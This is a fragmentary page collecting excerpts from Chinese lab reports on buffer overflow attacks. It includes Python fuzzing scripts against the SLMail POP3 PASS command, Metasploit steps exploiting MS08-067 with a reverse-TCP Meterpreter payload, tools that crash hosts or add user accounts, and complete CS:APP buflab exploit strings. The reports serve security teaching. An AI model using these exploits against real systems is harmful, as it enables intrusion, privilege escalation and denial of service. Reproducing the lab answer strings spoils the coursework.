缓冲区溢出攻击实验

合集下载

0day缓冲区溢出实验报告

0day缓冲区溢出实验报告

网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。

堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。

由于8888888>1234567,所以值为1。

如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。

不过并不是所有的8个字符都可以。

如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。

观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。

所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。

向password.txt文件里植入二进制的机器码。

调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。

缓冲区溢出实例(一)--Windows

缓冲区溢出实例(一)--Windows

缓冲区溢出实例(⼀)--Windows⼀、基本概念缓冲区溢出:当缓冲区边界限制不严格时,由于变量传⼊畸形数据或程序运⾏错误,导致缓冲区被填满从⽽覆盖了相邻内存区域的数据。

可以修改内存数据,造成进程劫持,执⾏恶意代码,获取服务器控制权限等。

在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,⽆需⾝份验证实现远程代码执⾏。

注意,Win7以上系统的防范机制可有效防⽌该缓冲区漏洞的利⽤:DEP:阻⽌代码从数据页被执⾏;ASLR:随机内存地址加载执⾏程序和DLL,每次重启地址变化。

⼆、实验环境准备:SLMail 5.5.0 Mail ServerImmunityDebugger_1_85_setup.exemona.py下载地址:mona⼿册实验环境:xp关闭防⽕墙1.安装SLMail 5.5.0邮件服务器将本地账户导⼊邮件服务器安装好环境之后,确认SLMail的端⼝是否正常开启:25 pop3端⼝,180 web管理端⼝。

services.msc 查看邮件相关服务。

2.邮件服务安装成功后,接下来安装调试⼯具 ImmunityDebugger软件会⾃动安装python2.7环境打开Immunity Debugger所在⽬录C:\Program Files\Immunity Inc\Immunity Debugger将mona.py复制到PyCommands⽬录下,C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands三、实验内容SLMail 5.5.0 Mail ServerPOP3 PASS 命令存在缓冲区溢出漏洞⽆需⾝份验证实现远程代码执⾏win7之后windows的安全防护机制DEP:阻⽌代码从数据页被执⾏ASLR:随机内存地址加载执⾏程序和DLL,每次重启地址变化使⽤nc验证端⼝连接是否正常,并且可执⾏pop3的⼀些指令nc 192.168.199.199 25nc 192.168.199.199 110测试 PASS 命令接收到⼤量数据时是否会溢出EIP 寄存器:存放下⼀条指令的地址pop3邮件服务侦听的端⼝是110,进程ID是636.使⽤Immunity Debuggerfile---attach---选中pid号为636的进程---attach调⽤开始监控程序运⾏状态利⽤原理:“PASS”命令后,当⼀些特殊定制的命令输⼊,会造成缓冲区溢出,上传shellcode,可控制⽬标系统,则不需要经过⾝份验证,获得权限⼀、测试哪个命令会出现缓冲区溢出注:如何了解应⽤/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】01.py 最简单的功能实现#!/usr/bin/pythonimport sockets = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(("192.168.199.199",110))data = s.recv(1024)print datas.send("USER Xuan"+"\r\n")data = s.recv(1024)print datas.send("PASS test\r\n")data = s.recv(1024)print datas.close()print "\nDone"except:print "Could not connect to POP3!"02.py【不断增⼤发送量,通过Debug确定是否会溢出】【若发送数⽬很⼤,还没溢出,则可放弃】# ⼤概确定范围#!/usr/bin/pythonimport socketbuffer=["A"]counter=100while len(buffer) <= 50:buffer.append("A"*counter)counter=counter+200for string in buffer:print "Fuzzing PASS with %s bytes" % len(string)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect(("192.168.199.199",110))s.recv(1024)s.send("USER test"+"\r\n")s.recv(1024)s.send("PASS "+string+"\r\n")s.send("QUIT\r\n")s.close()EIP中的41是⼗六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为⼀个存储单元进⾏存储,EIP就是当前邮件服务器SLmail下⼀个需要执⾏的指令的内存地址,所发送的A把下⼀条指令的内存地址给覆盖了,发⽣了缓冲区溢出。

山东大学信息安全实验报告

山东大学信息安全实验报告

山东大学软件学院信息安全导论课程实验报告学号:201300301385 姓名:周强班级: 2013级八班实验题目:缓冲区溢出实验实验学时:日期:实验目的:(1)了解缓冲区溢出的原理(2)利用缓冲区溢出现象构造攻击场景(3)进一步思考如何防范基于缓冲区溢出的攻击硬件环境:软件环境:WindowsXP操作系统VS2008实验步骤与内容:(1)了解缓冲区溢出的原理缓冲区溢出简单来说就是计算机对接收的输入数据没有进行有效的检测(理情况下是程序检测数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

看一个代码实例,程序如下:void function(char *str) {char buffer[16];strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。

这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。

(2)利用缓冲区溢出现象构造攻击场景首先打开Microsoft Visual C++,新建工程和cpp文件,复制实验指导书的代码进行编译连接:单击运行按钮,然后第1次输入“zhouqianga”,第2次输入2个“ga”,即可看到输出“correct”。

按F10开始进行逐步调试:当第一次执行gets()函数之前,内存情况如下图所示在最新的版本中gets被认为是不安全的,gets从标准输入设备读字符串函数。

可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

现在都被要求改为get_s。

来防止溢出。

如下图所示。

(3)学习例子程序2:数据被执行在xp系统下,直接运行Exploit-1.1.exe,如下图所示:但是在计算器下输入数字后,将计算器关闭,会出现如下对话框:当程序返回时,改变了程序入口地址,让其跳转并且执行cmd.exe calc.exe两个程序(打开计算器)并执行abc.bat批处理程序。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。

显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。

图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

在win10攻击机上运行metasploit console,即可进入Metasploit环境。

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。

namap扫描的结果里报告发现MS08-067:DISABLED。

这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。

MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。

在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。

攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。

2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。

3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。

实验步骤与调试过程:1.RPC漏洞出。

首先调用RPC(Remote Procedure Call)。

当系统启动的时候,自动加载RPC服务。

可以在服务列表中看到系统的RPC服务。

利用RPC漏洞建立超级用户。

首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。

点击开始>运行>在运行中输入cmd>确定。

进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。

检查漏洞。

2.检查缓冲区溢出漏洞。

利用工具软件attack.exe对172.18.25.109进行攻击。

在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。

3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。

进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。

出现攻击成功地提示对话框。

4.利用工具软件nc.exe连接到该端口。

进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。

信息安全实验-缓冲区溢出-蒋智超

信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。

2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。

3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。

4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。

二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。

「注」主机B单击“ms08025工具”按钮,进入实验目录。

将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。

1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。

登录成功如下图所示。

图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。

图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。

3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲溢出攻击实验报告

缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。

2. 掌握缓冲区溢出攻击的实验方法和步骤。

3. 理解缓冲区溢出攻击的危害性。

4. 学习防范和避免缓冲区溢出攻击的方法。

二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。

三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。

2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。

3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。

四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。

- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。

2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。

- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。

- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。

- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。

- 使用`exploit`命令启动攻击,等待攻击成功。

3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。

- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。

- 边界检查:在代码中添加边界检查,防止缓冲区溢出。

- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。

bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。

要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。

从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。

2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。

Makecookie是产生一个userid。

输入的相应的用户名产生相应的cookie值。

**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。

画出栈结构为(为绘制图简单,我们将相应的地址直接写在栈内部,如ebp-4写在方框中,实际上应当是这个地址指向这块内存区域,接下来的绘图都将采用这种方式):易知(ebp – 28)距离getbuf函数的返回地址之间有44个字节,我们只需要在将getbuf 返回地址的字修改为smoke函数的入口地址,这样我们就可以在执行完getbuf函数之后执行smoke函数。

我们通过反汇编得到smoke函数的入口地址为0x08048e0a:我们构造文件a.txt,里面存放数据为(本人电脑为小端机,这里需要的也是小端):31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 330b 8e 04 08之所以将0x08048e0a改成8e04080b,是因为0a对应的是换行符,会使该字符无法读入而结束Gets函数。

运行结果为(输入命令为./hex2raw <a.txt | ./bufbomb -u 201408010321):Level1:题意:从英文PDF文件中我们可以理解到,这关的目的是进入fizz函数,并通过makecookie计算出userid的cookie值,本人产生的cookie为0x5eb52e1c。

FIZZ源码如下:void fizz(int val){if (val == cookie) {printf("Fizz!: You called fizz(0x%x)\n", val);validate(1);} elseprintf("Misfire: You called fizz(0x%x)\n", val);exit(0);}解答:反汇编得到fizz函数的入口地址为0x08048daf:由fizz的汇编代码可得,push%ebp之后,%esp与%ebp指向同一个位置,而此时用%ebp+8表示输入的参数。

而我们由上面fizz函数的代码可得,要使cookie值等于参数值。

在调用fizz函数后,开辟一个新的栈,此时参数位置距离fizz函数首地址还有一个空,需要用00 00 00 00来覆盖(覆盖数据随便,只要不影响程序运行就可以),将cookie值付给参数。

除了要将这个值用相同的方式输入到getbuf函数中返回地址处外,还应将cookie值0x1005b2b7输入到在fizz函数中fizz函数返回地址的上一个4字节处即第一个参数处。

getbuf函数输入时fizz函数的地址值和cookie值是不变的,(不能输入0a) ,共需要输入56(0x28+0x4+0x4+0x4+0x4)个字节,其中前44个可以任意输入.getbuf返回地址处输入应为0x08048daf(小端法:af 8d 04 08)fizz返回地址处可以随意,故输入00 00 00 00 第1个参数处为cookie值0x4169155f(小端法5f 15 69 41与level0类似,不过fizz需要传入一个参数。

我们可以画出栈的结构图:31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33af 8d 04 0800 00 00 001c 2e b5 5e其中0x5eb52e1c为id201408010321对应的cookie的值。

运行结果为:Level2:题意:令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。

然而,global_value是一个全局变量,它没有储存再栈里面。

所以在程序执行过程中,只能通过赋值语句来改变global_value 的值。

即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。

bang函数的源码为:int global_value = 0;void bang(int val){if (global_value == cookie) {printf("Bang!: You set global_value to 0x%x\n", global_value);validate(2);}elseprintf("Misfire: global_value = 0x%x\n", global_value);exit(0);}解答:首先我们反汇编bang函数:从中我们可以得知v alue存放在0x804d10c,而cookie存放在0x804d104处。

写出代码:movl $0x5eb52e1c,%eax //将cookie值存入eax寄存器movl %eax,0x804d10c //将eax中的(cookie)值存入global_value的地址pushl $0x08048d52 //将bang作为返回地址压栈ret //通过ret调用改变eip转到bang函数中我们使用objdump将上面代码转化成二进制。

用objdump将.S(汇编)文件转化为.o (二进制)文件,然后显示出来。

将getbuf的返回地址改成buf的首地址运行,这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。

我们得到buf的首地址为0x55683968:构造文件3.txt:b8 1c 2e b5 5ea3 0c d1 04 0868 52 8d 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0068 39 68 55运行结果为:Level3:题意:这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。

解答:采用类似level2中的解法,利用恶意代码去修改变量val的值。

然后改变程序的执行情况。

反汇编得到指向test中的getbuf调用后一条指令我们填写汇编代码:movl $0x5eb52e1c,%eax //返回cookie值pushl $0x08048e50 //返回地址指向test中的getbuf调用后一条指令ret //返回test继续执行反汇编上述代码:由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的ebp寄存器指向的值并结合上一题的解题思路:构造文件4.txt:b8 1c 2e b5 5e68 50 8e 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00C0 39 68 5568 39 68 55运行结果为:Level4:题意:最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn 和getbufn函数而不是test和getbuf函数。

相关文档
最新文档